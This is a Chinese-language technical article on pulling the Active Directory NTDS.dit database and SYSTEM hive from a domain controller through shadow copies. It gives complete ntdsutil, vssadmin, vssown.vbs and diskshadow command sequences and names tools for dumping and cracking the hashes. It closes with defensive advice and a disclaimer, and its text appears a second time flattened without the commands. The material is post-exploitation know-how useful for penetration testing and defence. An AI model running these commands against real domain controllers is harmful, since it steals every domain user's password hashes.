利用卷影拷贝服务提取ntds.dit
字数 1157 2025-08-05 08:17:55

利用卷影拷贝服务提取NTDS.dit文件技术详解

1. NTDS.dit文件概述

NTDS.dit是Active Directory域服务的核心数据库文件,存储位置为域控制器的%SystemRoot%\NTDS\NTDS.dit。该文件包含:

  • 所有域用户账户信息
  • 组和组成员关系
  • 组策略首选项(GPP)
  • 组织单位(OU)结构
  • 用户密码哈希值(包括LM和NTLM哈希)

2. NTDS.dit文件结构分析

2.1 主要数据表

NTDS.dit是一个Jet数据库,使用可扩展存储引擎(ESE),包含三个主要表:

  1. 数据表

    • 存储所有Active Directory对象(用户、组等)
    • 采用行(对象实例)和列(属性)结构
    • 字段分为固定大小(整数等)和可变大小(字符串等)
    • 每个对象限制为8KB(但长属性值可存储在单独页面)
  2. 链接表

    • 存储链接属性(如用户的MemberOf属性)
    • 比数据表小得多
  3. SD表

    • 存储对象的安全描述符
    • 实现安全描述符的继承机制

2.2 密码哈希加密机制

Active Directory使用三层加密保护密码哈希:

  1. 第一层(RC4)

    • 使用启动密钥(BOOTKEY)解密PEK(密码加密密钥)
    • PEK在整个域中相同,但在不同域控制器上使用不同的BOOTKEY加密
  2. 第二层(RC4)

    • 使用PEK解密哈希值的前16字节
  3. 第三层(DES)

    • 使用用户RID生成的密钥进行最终解密
    • 与SYSKEY加密类似

3. 提取NTDS.dit的方法

3.1 使用ntdsutil.exe

  1. 创建卷影副本:

    ntdsutil snapshot "activate instance ntds" create quit quit
    
  2. 挂载卷影副本:

    ntdsutil snapshot "mount {GUID}" quit quit
    
  3. 复制NTDS.dit:

    copy C:\$SNAP_XXXXXXXX_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
    
  4. 卸载并删除卷影副本:

    ntdsutil snapshot "unmount {GUID}" quit quit
    ntdsutil snapshot "delete {GUID}" quit quit
    

3.2 使用vssadmin

  1. 创建卷影副本:

    vssadmin create shadow /for=c:
    
  2. 复制NTDS.dit:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\windows\ntds\ntds.dit c:\ntds.dit
    
  3. 删除卷影副本:

    vssadmin delete shadows /for=c: /quiet
    

3.3 使用vssown.vbs脚本

  1. 查找NTDS.dit位置:

    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    
  2. 启动卷影拷贝服务:

    cscript //nologo vssown.vbs /start
    
  3. 创建卷影副本:

    cscript vssown.vbs /create c
    
  4. 列出并复制NTDS.dit:

    cscript vssown.vbs /list
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\windows\NTDS\ntds.dit c:\ntds.dit
    
  5. 删除卷影副本:

    cscript vssown.vbs /delete {GUID}
    

3.4 使用diskshadow

  1. 创建包含以下命令的脚本文件(command.txt):

    set context persistent nowriters
    add volume c: alias someAlias
    create
    expose %someAlias% z:
    exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
    delete shadows all
    list shadows all
    reset
    exit
    
  2. 执行脚本:

    diskshadow /s C:\command.txt
    

4. 提取SYSTEM配置单元

获取NTDS.dit后,需要提取SYSTEM配置单元以获取解密密钥:

reg save hklm\system c:\windows\temp\system.hive

5. 后续处理

获取NTDS.dit和SYSTEM.hive后,可以使用工具如:

  • Mimikatz:提取哈希值
  • Impacket-secretsdump:解析NTDS.dit
  • Hashcat:破解提取的哈希值

6. 防御建议

  1. 限制对域控制器的物理和远程访问
  2. 监控卷影拷贝服务的异常使用
  3. 定期审计域控制器上的可疑活动
  4. 实施特权账户管理(PAM)解决方案
  5. 启用Windows Defender攻击面减少规则

注意:本文所述技术仅用于合法安全测试和研究目的,未经授权对系统进行此类操作可能违反法律。

利用卷影拷贝服务提取NTDS.dit文件技术详解 1. NTDS.dit文件概述 NTDS.dit是Active Directory域服务的核心数据库文件,存储位置为域控制器的 %SystemRoot%\NTDS\NTDS.dit 。该文件包含: 所有域用户账户信息 组和组成员关系 组策略首选项(GPP) 组织单位(OU)结构 用户密码哈希值(包括LM和NTLM哈希) 2. NTDS.dit文件结构分析 2.1 主要数据表 NTDS.dit是一个Jet数据库,使用可扩展存储引擎(ESE),包含三个主要表: 数据表 : 存储所有Active Directory对象(用户、组等) 采用行(对象实例)和列(属性)结构 字段分为固定大小(整数等)和可变大小(字符串等) 每个对象限制为8KB(但长属性值可存储在单独页面) 链接表 : 存储链接属性(如用户的MemberOf属性) 比数据表小得多 SD表 : 存储对象的安全描述符 实现安全描述符的继承机制 2.2 密码哈希加密机制 Active Directory使用三层加密保护密码哈希: 第一层(RC4) : 使用启动密钥(BOOTKEY)解密PEK(密码加密密钥) PEK在整个域中相同,但在不同域控制器上使用不同的BOOTKEY加密 第二层(RC4) : 使用PEK解密哈希值的前16字节 第三层(DES) : 使用用户RID生成的密钥进行最终解密 与SYSKEY加密类似 3. 提取NTDS.dit的方法 3.1 使用ntdsutil.exe 创建卷影副本: 挂载卷影副本: 复制NTDS.dit: 卸载并删除卷影副本: 3.2 使用vssadmin 创建卷影副本: 复制NTDS.dit: 删除卷影副本: 3.3 使用vssown.vbs脚本 查找NTDS.dit位置: 启动卷影拷贝服务: 创建卷影副本: 列出并复制NTDS.dit: 删除卷影副本: 3.4 使用diskshadow 创建包含以下命令的脚本文件(command.txt): 执行脚本: 4. 提取SYSTEM配置单元 获取NTDS.dit后,需要提取SYSTEM配置单元以获取解密密钥: 5. 后续处理 获取NTDS.dit和SYSTEM.hive后,可以使用工具如: Mimikatz:提取哈希值 Impacket-secretsdump:解析NTDS.dit Hashcat:破解提取的哈希值 6. 防御建议 限制对域控制器的物理和远程访问 监控卷影拷贝服务的异常使用 定期审计域控制器上的可疑活动 实施特权账户管理(PAM)解决方案 启用Windows Defender攻击面减少规则 注意:本文所述技术仅用于合法安全测试和研究目的,未经授权对系统进行此类操作可能违反法律。